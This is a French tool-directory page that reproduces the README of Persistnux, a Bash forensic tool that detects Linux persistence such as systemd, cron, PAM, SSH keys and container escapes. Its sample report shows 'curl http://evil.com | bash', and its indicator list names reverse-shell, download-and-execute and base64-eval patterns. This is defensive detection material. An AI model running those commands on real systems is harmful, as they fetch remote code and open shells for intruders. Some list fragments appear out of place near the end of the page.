Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Persistnux — Outil de détection de persistance Linux basé sur Bash pour les enquêtes DFIR. Analyse 15+ mécanismes de persistance (systemd, cron, modules noyau, SSH, conteneurs) avec un score de confiance et génère des rapports CSV/JSONL pour l'analyse forensique. | Kitploit
Outils/GitHubGitHub/go-lanz/persistnux
Escalade de PrivilègesMécanismes de PersistanceAnalyse des VulnérabilitésAnalyse ForensiqueAnalyse de MalwareCriminalistique NumériqueApprentissage et ÉducationRéponse aux IncidentsÉvasion de ConteneurLabs et Pratique
GitHubgo-lanz/persistnux
3il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Persistnux

Outil de détection de persistance Linux basé sur Bash pour les enquêtes DFIR. Analyse 15+ mécanismes de persistance (systemd, cron, modules noyau, SSH, conteneurs) avec un score de confiance et génère des rapports CSV/JSONL pour l'analyse forensique.

Voir le dépôt

Persistnux

Un outil complet de détection de persistance Linux pour les enquêtes de criminalistique numérique et réponse aux incidents (DFIR).

Aperçu

Persistnux est un outil en Bash conçu pour identifier les mécanismes de persistance Linux connus utilisés par les attaquants pour maintenir l'accès à des systèmes compromis. Il effectue des vérifications complètes sur le système et génère des rapports détaillés aux formats CSV et JSONL pour une analyse approfondie.

Fonctionnalités

  • Détection exhaustive : Couvre tous les principaux mécanismes de persistance Linux
  • Analyse en direct : S'exécute directement sur des systèmes en production avec un minimum de dépendances
  • Rapports détaillés : Génère des rapports CSV et JSONL avec les hachages de fichiers, les métadonnées et les scores de confiance
  • Root et non-root : Fonctionne avec ou sans privilèges root (portée limitée pour non-root)
  • Prêt pour le DFIR : Formats de sortie compatibles avec les outils et workflows DFIR courants
  • Score de suspicion : Score de confiance automatique (FAIBLE, MOYEN, ÉLEVÉ, CRITIQUE) basé sur les indicateurs
  • Réduction des faux positifs : Intégration du gestionnaire de paquets et liste blanche des services connus légitimes
  • Analyse temporelle : Les fichiers récemment modifiés reçoivent des scores de confiance plus élevés
  • Correspondance de motifs : Détecte les reverse shells, les motifs de téléchargement-exécution, les techniques d'obscurcissement

Mécanismes de persistance détectés

1. Services Systemd

  • Fichiers de service (.service) dans /etc/systemd/system, /lib/systemd/system, /usr/lib/systemd/system
  • Services systemd au niveau utilisateur
  • Filtrage des services désactivés et des services sans ExecStart
  • Détection de commandes ExecStart suspectes
  • Vérification de l'intégrité des paquets des binaires/scripts exécutés

2. Tâches cron et planifiées

  • Crontabs système (/etc/crontab, /etc/cron.d/*)
  • Répertoires d'exécution périodique (/etc/cron.{daily,hourly,weekly,monthly})
  • Crontabs utilisateur pour tous les utilisateurs (mode root)
  • Tâches At
  • Motifs de commandes suspectes dans les tâches planifiées
  • Fichiers ACL /etc/cron.allow et /etc/cron.denv — les entrées référençant des utilisateurs inexistants sont signalées

3. Profils shell et fichiers RC

  • Profils système (/etc/profile, /etc/bash.bashrc, /etc/zshrc)
  • Scripts Profile.d (/etc/profile.d/*)
  • Profils utilisateur (.bashrc, .bash_profile, .zshrc, .profile, etc.)
  • Configurations Fish shell
  • Détection de commandes malveillantes dans les fichiers de profil

4. Scripts d'init et RC.local

  • /etc/rc.local et variantes
  • Scripts d'init SysV (/etc/init.d)
  • Scripts de niveau d'exécution (/etc/rc*.d)
  • Détection de commandes suspectes de téléchargement/exécution

5. Modules du noyau et préchargement de bibliothèques

  • Configurations LD_PRELOAD (/etc/ld.so.preload) — chaque bibliothèque listée est vérifiée via le gestionnaire de paquets
  • Configurations du linker dynamique (/etc/ld.so.conf, /etc/ld.so.conf.d/) — intégrité des fichiers de conf + fichiers .so dans des chemins non standards scannés et vérifiés
  • /etc/environment LD_PRELOAD/LD_LIBRARY_PATH — le fichier d'environnement est signalé ÉLEVÉ ; les chemins de bibliothèques référencés sont vérifiés (non gérés/modifiés → CRITIQUE)
  • Paramètres des modules du noyau (/etc/modprobe.d/, /etc/modprobe.conf) — intégrité des fichiers ; les directives install sont analysées pour des cibles de commandes suspectes ; les blacklist de modules de sécurité (apparmor, selinux, seccomp) sont signalées ÉLEVÉ
  • Configurations de chargement automatique des modules (/etc/modules, /etc/modules-load.d/) — intégrité des configs ; les noms de modules référencés sont résolus en fichiers via et vérifiés

6. Mécanismes supplémentaires

  • Entrées de démarrage automatique XDG (.config/autostart, /etc/xdg/autostart) — tous les répertoires personnels sont scannés en mode root
  • Fichiers d'environnement système (/etc/environment) — chemins de bibliothèques LD_PRELOAD/LD_LIBRARY_PATH vérifiés
  • Configurations sudoers et fichiers drop-in (/etc/sudoers, /etc/sudoers.d/) — motifs NOPASSWD/ALL → ÉLEVÉ
  • PAM (Modules d'authentification enfichables) :
    • Tous les modules .so vérifiés via le gestionnaire de paquets ; les directives @include sont suivies ; /etc/pam.conf inclus
    • Analyse des scripts pam_exec.so — scripts manquants/suspects → CRITIQUE
    • Détection de relais pam_python.so / pam_perl.so — script extrait et analysé
    • Détection de fichiers d'accroche pam_script.so dans

8. Persistance SSH

  • ~/.ssh/authorized_keys par utilisateur — clés récemment modifiées signalées ; option command= analysée pour des motifs suspects
  • ~/.ssh/rc par utilisateur — présence signalée MOYEN ; contenu suspect/reverse shell → ÉLEVÉ/CRITIQUE

9. Détournement de binaires

  • Vérifie les binaires système installés par rapport à la base de données des paquets (dpkg -V sur Debian/Ubuntu, rpm -Va sur RHEL/CentOS)
  • Fichiers modifiés dans /usr/bin, /usr/sbin, /bin, /sbin → résultat CRITIQUE
  • Modules PAM modifiés dans /lib/security → résultat CRITIQUE
  • Les fichiers de configuration (conffiles dpkg) sont exclus pour éviter les faux positifs

10. Chargeur d'amorçage et initramfs

  • Injection du paramètre noyau init= dans GRUB (/etc/default/grub, /etc/default/grub.d/*.cfg)
  • Scripts d'init déposés à la racine /
  • Modules initramfs Dracut avec accroches pre-pivot écrivant dans /sysroot/etc/shadow
  • Scripts d'accroche initramfs-tools Ubuntu dans /etc/initramfs-tools/scripts/ et /hooks/
  • Images /boot/initrd.img-* récemment modifiées (basé sur mtime)

11. Manipulation de Polkit (PolicyKit)

  • Fichiers .pkla avec ResultAny/ResultInactive/ResultActive=yes inconditionnels
  • Octrois d'identité générique (unix-user:*)
  • Fichiers .rules avec polkit.Result.YES inconditionnel (Polkit basé sur JavaScript >= 0.106)

12. D-Bus et NetworkManager

  • Enregistrement de service système D-Bus malveillant Exec= (/usr/share/dbus-1/system-services/)
  • Directives de politique D-Bus joker allow own="*" ou send_destination="*"
  • Scripts de répartiteur NetworkManager (/etc/NetworkManager/dispatcher.d/)

13. Règles Udev

  • Directives Udev RUN+= exécutant des commandes ou scripts arbitraires (/etc/udev/rules.d/, /lib/udev/rules.d/)
  • Règles injectées en runtime dans /run/udev/rules.d/
  • Motifs de délégation at/cron dans RUN+= (contournement courant de la restriction de premier plan)

14. Évasion de conteneur

  • Conteneurs Docker privilégiés (--privileged, --pid=host)
  • Montages bind docker.sock dans les conteneurs (contrôle total de l'hôte via l'API Docker)
  • nsenter -t 1 dans les points d'entrée de conteneurs ou Dockerfiles
  • Dockerfiles dans des répertoires inscriptibles par l'utilisateur contenant des techniques d'évasion

15. Vérifications avancées des binaires et privilèges

  • Scan actif du système de fichiers pour les SUID/SGID dans les répertoires système
  • Scan des capacités de fichiers via getcap — cap_setuid+ep sur GTFOBins → CRITIQUE
  • Détournement de binaires : originaux renommés (.original, .old, .bak, .real) avec scripts enveloppes
  • Comptes non root avec UID 0 dans /etc/passwd
  • Masquage de shell via espace de fin dans le champ shell de /etc/passwd
  • Comptes système (UID 1-999) avec fichiers authorized_keys SSH

Installation

root@kitploit:~
# Cloner le dépôt
git clone https://github.com/yourusername/persistnux.git
cd persistnux

# Rendre le script exécutable
chmod +x persistnux.sh

Utilisation

Utilisation de base (analyse en direct)

root@kitploit:~
# Exécution avec les paramètres par défaut (affiche uniquement les résultats suspects)
sudo ./persistnux.sh

# Afficher l'aide et toutes les options
./persistnux.sh --help

# Exécution en tant qu'utilisateur normal (portée limitée)
./persistnux.sh

Options de filtrage (v2.4+)

Par défaut, Persistnux affiche uniquement les résultats suspects (confiance MOYENNE, ÉLEVÉE, CRITIQUE) pour réduire le bruit et se concentrer sur les menaces exploitables.

root@kitploit:~
# Par défaut : Afficher uniquement les résultats suspects
sudo ./persistnux.sh

# Afficher tous les résultats, y compris la ligne de base (confiance FAIBLE)
sudo ./persistnux.sh --all
# OU
sudo FILTER_MODE=all ./persistnux.sh

# Afficher uniquement les résultats de confiance ÉLEVÉE et CRITIQUE
sudo MIN_CONFIDENCE=HIGH ./persistnux.sh

# Combiner les filtres : confiance ÉLEVÉE uniquement
sudo ./persistnux.sh --min-confidence HIGH

Répertoire de sortie personnalisé

root@kitploit:~
# Spécifier un répertoire de sortie personnalisé
sudo OUTPUT_DIR=/tmp/evidence ./persistnux.sh

# Combiner avec le filtrage
sudo OUTPUT_DIR=/tmp/evidence MIN_CONFIDENCE=HIGH ./persistnux.sh

Fichiers de sortie

Par défaut, Persistnux crée un répertoire de sortie . /persistnux_output/ contenant :

  • persistnux_<nom_hote>_<horodatage>.csv - Rapport au format CSV
  • persistnux_<nom_hote>_<horodatage>.jsonl - Rapport au format JSONL (un objet JSON par ligne)
  • persistnux_<nom_hote>_<horodatage>_report.txt - Rapport récapitulatif lisible avec les comptes de résultats et les métadonnées d'analyse

Format de sortie

Format CSV

root@kitploit:~
timestamp,hostname,category,confidence,file_path,file_hash,file_owner,file_permissions,file_age_days,package_status,command,description,matched_pattern,matched_string
2026-01-23T10:30:00Z,webserver01,Systemd Service,HIGH,/etc/systemd/system/example.service,abc123...,root:root,644,3,unmanaged,example.service,suspicious_script_content,"curl http://evil.com | bash"

Format JSONL

root@kitploit:~
{
  "timestamp": "2026-01-23T10:30:00Z",
  "hostname": "webserver01",
  "category": "Systemd Service",
  "confidence": "HIGH",
  "file_path": "/etc/systemd/system/example.service",
  "file_hash": "abc123...",
  "file_owner": "root:root",
  "file_permissions": "644",
  "file_age_days": "3",
  "package_status": "unmanaged",
  "command": "/opt/example.sh",
  "description": "example.service",
  "matched_pattern": "suspicious_script_content",
  "matched_string": "curl http://evil.com | bash"
}

Champs clés de sortie

  • matched_pattern : Le motif de détection qui a déclenché le résultat (ex. suspicious_script_content, modified_package, unmanaged_binary)
  • matched_string : Le contenu suspect réel trouvé (ligne entière, pas seulement le mot-clé)

Score de confiance

Persistnux utilise un score de confiance intelligent pour réduire les faux positifs :

  • FAIBLE : Configuration système standard, suspicion faible (fichiers souvent gérés par paquet)
  • MOYEN : Potentiellement suspect mais pourrait être légitime
  • ÉLEVÉ : Motifs suspects détectés (ex. curl/wget dans cron, exécution dans /tmp, reverse shells)
  • CRITIQUE : Preuve définitive de falsification — échec de vérification d'intégrité du paquet, SUID/SGID sur un fichier suspect, anomalie de module PAM, générateur systemd dans un emplacement éphémère, ou code interpréteur en ligne avec charge utile à haute entropie

Réduction des faux positifs (v1.2+)

Persistnux inclut désormais plusieurs fonctionnalités pour réduire les faux positifs :

  1. Intégration du gestionnaire de paquets : Les fichiers gérés par dpkg (Debian/Ubuntu) ou rpm (RedHat/CentOS) reçoivent des scores de confiance plus faibles
  2. Liste blanche des services connus légitimes : Les services courants des fournisseurs (systemd-, dbus-, snap.*, etc.) sont automatiquement ignorés
  3. Score temporel : Les fichiers récemment modifiés (<7 jours) reçoivent des scores de confiance plus élevés
  4. Analyse contextuelle : Combine plusieurs indicateurs pour une détection plus précise

Indicateurs suspects

Persistnux signale automatiquement les éléments avec une confiance plus élevée lorsqu'il détecte :

Motifs basés sur le réseau

  • Reverse shells : bash -i >& /dev/tcp/, sh -i >& /dev/udp/
  • Outils réseau : nc, netcat, socat, telnet
  • Opérations de socket dans les langages de script : python -c 'import socket'

Motifs de téléchargement et exécution

  • Outils de téléchargement : curl | bash, wget | sh
  • Téléchargement avec exécution : curl URL -o /tmp/file && chmod +x

Techniques d'obscurcissement

  • Encodage : base64 -d | bash, eval $(echo BASE64)
  • Exécution dynamique : eval, exec

Emplacements suspects

  • Répertoires temporaires : /tmp, /dev/shm, /var/tmp
  • Répertoires et fichiers cachés

Manipulation des permissions

  • Rendre les fichiers exécutables : chmod +x, chmod 777
  • Manipulation du bit SUID : chmod u+s

Prérequis

  • Bash 4.0+
  • Utilitaires Unix standards : find, grep, stat, sha256sum, awk, file
  • Optionnel : systemctl, lsmod, modinfo, getcap, dpkg/rpm (pour des vérifications spécifiques)
  • Aucune dépendance d'interpréteur (bash pur + coreutils ; pas de python/jq nécessaire)
  • Accès root/sudo recommandé pour une analyse complète

Testé sur / Compatibilité

Remarque : L'outil est principalement testé sur des systèmes Ubuntu/Debian. Les distributions RedHat, Fedora et basées sur RPM ont une prise en charge du gestionnaire de paquets implémentée dans le code mais n'ont pas été validées dans des environnements de test en direct. Les contributions et les rapports de test pour les distributions basées sur RPM sont les bienvenus.

Tests / Benchmark

Persistnux est comparé à PANIX, qui installe les mêmes mécanismes de persistance que Persistnux recherche. Le harnais reproductible tests/panix_benchmark.sh applique chaque technique PANIX, exécute Persistnux, et confirme la détection via une diff de base. Chaque technique PANIX basée sur un fichier applicable sur la machine de test est détectée avec une confiance MOYENNE+. Voir PANIX_BENCHMARK.md pour le tableau de couverture complet et la méthodologie.

⚠️ Le benchmark installe de véritables backdoors — exécutez-le uniquement dans une VM jetable.

Roadmap

  • Mode d'analyse hors ligne pour les images de disques forensiques
  • Intégration de la collecte UAC (Unix-like Artifacts Collector)
  • Étendre le benchmark PANIX aux vecteurs de chargeur d'amorçage/initramfs/LKM sur une VM complète

Ressources

https://www.elastic.co/security-labs/continuation-on-persistence-mechanisms https://www.elastic.co/security-labs/approaching-the-summit-on-persistence https://www.elastic.co/security-labs/primer-on-persistence-mechanisms https://www.elastic.co/security-labs/sequel-on-persistence-mechanisms https://github.com/Aegrah/PANIX

Contribuer

Les contributions sont les bienvenues ! N'hésitez pas à soumettre des pull requests ou à ouvrir des issues pour :

  • La détection de nouveaux mécanismes de persistance
  • Les corrections de bugs
  • Les améliorations de documentation
  • Les optimisations de performances
  • Des formats de sortie supplémentaires

Licence

Licence MIT - Voir le fichier LICENSE pour les détails

Remerciements

Développé pour la communauté DFIR afin d'aider dans la réponse aux incidents Linux et les investigations forensiques.

Avertissement

Cet outil est destiné uniquement aux tests de sécurité autorisés, à la réponse aux incidents et à l'analyse forensique. Les utilisateurs sont responsables de s'assurer qu'ils disposent des autorisations appropriées avant d'exécuter cet outil sur un système.

Contact

Pour toute question, problème ou contribution, veuillez utiliser le système de suivi des issues GitHub.

Télécharger l’outil
.ko
modinfo
  • Modules du noyau chargés (lsmod) — énumération et vérification d'intégrité
  • /etc/security/
  • Intégrité des fichiers de configuration — configurations PAM modifiées appartenant à un paquet → CRITIQUE
  • Vérification des bibliothèques LD_PRELOAD dans pam_env.conf et ~/.pam_environment
  • Scan général de /etc/security/
  • Scripts MOTD (/etc/update-motd.d/) — vérification de paquet ; modifié → CRITIQUE
  • Aides de crédentiel Git et paramètres core.pager — analyse de contenu pour tous les utilisateurs
  • Webshells dans les répertoires web courants
  • DistributionStatutRemarques
    Ubuntu 22.04 LTS✅ TestéPlateforme principale de développement et de test
    Ubuntu 20.04 LTS✅ TestéEntièrement pris en charge
    Debian 11/12✅ TestéBasé sur dpkg, mêmes conventions de chemins
    Kali Linux (rolling)✅ TestéUtilisé pour le benchmark de détection PANIX (voir ci-dessous)
    RedHat / RHEL⚠️ Non encore testéLa prise en charge de rpm est implémentée mais non vérifiée sur des systèmes en production
    Fedora⚠️ Non encore testéLa prise en charge de rpm est implémentée mais non vérifiée sur des systèmes en production
    CentOS / AlmaLinux / Rocky⚠️ Non encore testéLa prise en charge de rpm est implémentée mais non vérifiée sur des systèmes en production